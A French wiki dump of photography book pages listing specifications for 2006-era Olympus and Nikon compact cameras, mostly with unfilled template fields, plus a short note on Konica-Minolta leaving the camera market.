color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Olympus SP-350 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[ImageX.jpg|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>compact haut de gamme •&nbsp;<font color=grey>Capteur : </font>CCD 1/1,8 8 Mpix •&nbsp;<font color=grey>Définition maxi : </font>1488x3264 •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>32 Mo •&nbsp;<font color=grey>Cartes-mémoires : </font>xD •&nbsp;<font color=grey>Objectif : </font>zoom Olympus f/é?8-4,9 8-24 mm •&nbsp;<font color=grey>Équivalent 24x36 : </font>38-114 •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>oui •&nbsp;<font color=grey>Écran : </font>LCD 6,4 cm 115 000 pixels •&nbsp;<font color=grey>Modes : </font>P, A, S, M, 24 modes scène •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>de 15 s à 1/2000e s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>multizone, centrale et spot •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>automatique 50 à 800 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>automatique, manuelle, 7 préréglages •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>2 piles AA ou accus •&nbsp;<font color=grey>Dimensions : </font>100x65x36 mm •&nbsp;<font color=grey>Poids : </font>235 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>370 € •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Olympus FE-115 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>CCD 5 Mpix •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>38-106 mm •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>oui •&nbsp;<font color=grey>Écran : </font>LCD 3,8 cm •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Olympus FE-130 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>CCD 5 Mpix •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>38-114 mm •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>LCD 5,1 cm •&nbsp;<font color=grey>Modes : </font>vidéo et 14 modes scènes •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Olympus FE-140 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>CCD 6 Mpix •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>38-114 mm •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>LCD 5,1 cm •&nbsp;<font color=grey>Modes : </font>vidéo et 14 modes scènes •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Olympus FE-150 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>--- •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>38-114 •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>LCD 6,4 cm •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>800 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Olympus Mju 700 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>compact protégé tous temps •&nbsp;<font color=grey>Capteur : </font>CCD 1/2,33 7 Mpix •&nbsp;<font color=grey>Définition maxi : </font>2304x3072 •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>xD •&nbsp;<font color=grey>Objectif : </font>zoom Olympus f/3,4-5,7 6,5-19,5 mm •&nbsp;<font color=grey>Équivalent 24x36 : </font>37-111 •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>non •&nbsp;<font color=grey>Écran : </font>LCD 6,4 cm 115 000 pixels •&nbsp;<font color=grey>Modes : </font>23 modes scènes •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>4 s à 1/1000e s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>auto, manuel, multizone, spot •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>auto 64 à 1600 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>automatique, manuelle, 6 préréglages •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>ACCU Li-ion •&nbsp;<font color=grey>Dimensions : </font>95x56x20 mm •&nbsp;<font color=grey>Poids : </font>160 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>280 € •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Olympus Mju 810 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>compact protégé tous temps •&nbsp;<font color=grey>Capteur : </font>CCD 1/1,8 8 Mpix •&nbsp;<font color=grey>Définition maxi : </font>2448x3264 •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>xD •&nbsp;<font color=grey>Objectif : </font>zoom Olympus f/2,8-4,7 7,4-22,2 mm •&nbsp;<font color=grey>Équivalent 24x36 : </font>35-105 mm •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>non •&nbsp;<font color=grey>Écran : </font>LCD 6,4 cm 230 000 pixels •&nbsp;<font color=grey>Modes : </font>---20 modes scènes •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>de 4 s à 1/1000 s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>auto, multizone, spot •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>automatique de 64 à 3200 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>automatique, manuelle, 5 préréglages •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>accu Li-Ion •&nbsp;<font color=grey>Dimensions : </font>97x56x23 mm •&nbsp;<font color=grey>Poids : </font>175 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>380 € •&nbsp;<font color=grey>Remarques : </font>mode « stabilisé » obtenu en passant la sensibilité à 3200 ISO et la résolution à 3 Mpixels |- |} Photographie - 40 - Nikon 6160 45428 2006-06-22T23:36:07Z Jean-Jacques MILAN 114 /* Nikon Coolpix L2 (2006) */ {{Photographie}} {{Photo_40}} == Appareils compacts numériques == === Nikon Coolpix 950 (1999) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:DSCN1606-coolpix-950.jpg|240px|center]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font>compact numérique comportant deux corps tournant l'un par rapport à l'autre • <font color=grey>Format de capteur : </font> • <font color=grey>Mpix : </font> • <font color=grey>Résolution maxi : </font>1600×1200 • <font color=grey>Formats de fichiers : </font> • <font color=grey>Types de cartes-mémoire : </font> • <font color=grey>Objectif : </font>zoom x3, mise au point minimale à 2 cm • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Écran : </font> • <font color=grey>Modes : </font> [[Photographie - 23 - Macrophotographie|macro]] • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Flash intégré : </font>oui • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité du capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font>a succédé au Coolpix 900 |- |} === Nikon Coolpix R4 (année ?) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Nikon-Coolpix-R4-p1030345.jpg|240px|center]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de capteur : </font> • <font color=grey>Mpix : </font> • <font color=grey>Résolution maxi : </font> • <font color=grey>Formats de fichiers : </font> • <font color=grey>Types de cartes-mémoire : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Écran : </font> • <font color=grey>Modes : </font> [[Photographie - 23 - Macrophotographie|macro]] • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Flash intégré : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité du capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} === Nikon Coolpix P1 (année ?) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Nikon-Coolpix-p1-p1030347.jpg|240px|center]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de capteur : </font> • <font color=grey>Mpix : </font> • <font color=grey>Résolution maxi : </font> • <font color=grey>Formats de fichiers : </font> • <font color=grey>Types de cartes-mémoire : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Écran : </font> • <font color=grey>Modes : </font> [[Photographie - 23 - Macrophotographie|macro]] • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Flash intégré : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité du capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} === Nikon Coolpix L2 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>compact d'entrée de gamme •&nbsp;<font color=grey>Capteur : </font>CCD 1/2,5 6 Mpix •&nbsp;<font color=grey>Définition maxi : </font>2112x2816 •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>22 Mo •&nbsp;<font color=grey>Cartes-mémoires : </font>SD •&nbsp;<font color=grey>Objectif : </font>Nikkor f/3,2-5,3 6,3-19,2 mm •&nbsp;<font color=grey>Équivalent 24x36 : </font>38-116 mm •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>non •&nbsp;<font color=grey>Écran : </font>LCD 5,1 cm 86.000 pixels •&nbsp;<font color=grey>Modes : </font>auto et 15 modes scènes •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>de 4 s à 1/1500e s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>auto, multizone et centrale •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>50 à 200 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>auto, 6 préréglages •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>2 piles ou accus AA •&nbsp;<font color=grey>Dimensions : </font>91x61x26 mm •&nbsp;<font color=grey>Poids : </font>175 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>150 € •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Nikon Coolpix L3 (2006) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de capteur : </font> • <font color=grey>Mpix : </font> • <font color=grey>Résolution maxi : </font> • <font color=grey>Formats de fichiers : </font> • <font color=grey>Types de cartes-mémoire : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Écran : </font> • <font color=grey>Modes : </font> [[Photographie - 23 - Macrophotographie|macro]] • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Flash intégré : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité du capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} === Nikon Coolpix L4 (2006) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de capteur : </font> • <font color=grey>Mpix : </font> • <font color=grey>Résolution maxi : </font> • <font color=grey>Formats de fichiers : </font> • <font color=grey>Types de cartes-mémoire : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Écran : </font> • <font color=grey>Modes : </font> [[Photographie - 23 - Macrophotographie|macro]] • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Flash intégré : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité du capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} === Nikon Coolpix P3 (2006) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de capteur : </font> • <font color=grey>Mpix : </font> • <font color=grey>Résolution maxi : </font> • <font color=grey>Formats de fichiers : </font> • <font color=grey>Types de cartes-mémoire : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Écran : </font> • <font color=grey>Modes : </font> [[Photographie - 23 - Macrophotographie|macro]] • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Flash intégré : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité du capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} === Nikon Coolpix P4 (2006) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de capteur : </font> • <font color=grey>Mpix : </font> • <font color=grey>Résolution maxi : </font> • <font color=grey>Formats de fichiers : </font> • <font color=grey>Types de cartes-mémoire : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Écran : </font> • <font color=grey>Modes : </font> [[Photographie - 23 - Macrophotographie|macro]] • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Flash intégré : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité du capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} === Nikon Coolpix S6 (2006) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:X.jpg|240px|center]] <br>photo souhaitée |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de capteur : </font> • <font color=grey>Mpix : </font> • <font color=grey>Résolution maxi : </font> • <font color=grey>Formats de fichiers : </font> • <font color=grey>Types de cartes-mémoire : </font> • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Écran : </font> • <font color=grey>Modes : </font> [[Photographie - 23 - Macrophotographie|macro]] • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Flash intégré : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité du capteur : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} == Appareils réflex numériques == <gallery> Image:Nikon D50 front.jpg Image:Nikon D50 back.jpg </gallery> Photographie - 40 - Konica-Minolta 6162 38147 2006-03-18T10:46:57Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_40}} Le 19 janvier 2006, la société Konica-Minolta annonce qu'elle quitte le marché de la photographie, après 103 ans de présence. Pas moins de 3&nbsp;700 emplois sont menacés dans le monde entier. Cette décision concerne aussi la construction des appareils photographiques, numériques et argentiques, au-delà du système réflex et de ses objectifs conçus pour Sony dans le cadre d'un accord signé en juillet 2005. Le 31 mars 2006, elle cessera de vendre ses produits sous sa propre marque. La société cessera progressivement la fabrication de films et de papiers photographiques pour l'arrêter totalement fin mars 2007. Le système de Minilabs s'arrêtera le 31 mars, à la fin de l'année fiscale, cependant, la société a donné l'assurance que leur maintenance sera assurée par une tierce société. Konica-Minolta fera désormais porter ses efforts sur les équipements optiques et les systèmes d'imagerie médicale. == Appareils compacts numériques == <gallery> Image:Konika-Minolta-Dimage-X60-p1030354.jpg Image:Konica-Minolta-Dimage-X1-p1030348.jpg </gallery> Photographie - 40 - Fuji 6163 26999 2005-12-18T19:27:15Z Jean-Jacques MILAN 114 {{Photographie}} == Appareils compacts numériques == <gallery> Image:Fuji F10.jpg </gallery> Configuration de routeurs Cisco 6164 27313 2005-12-22T08:07:55Z 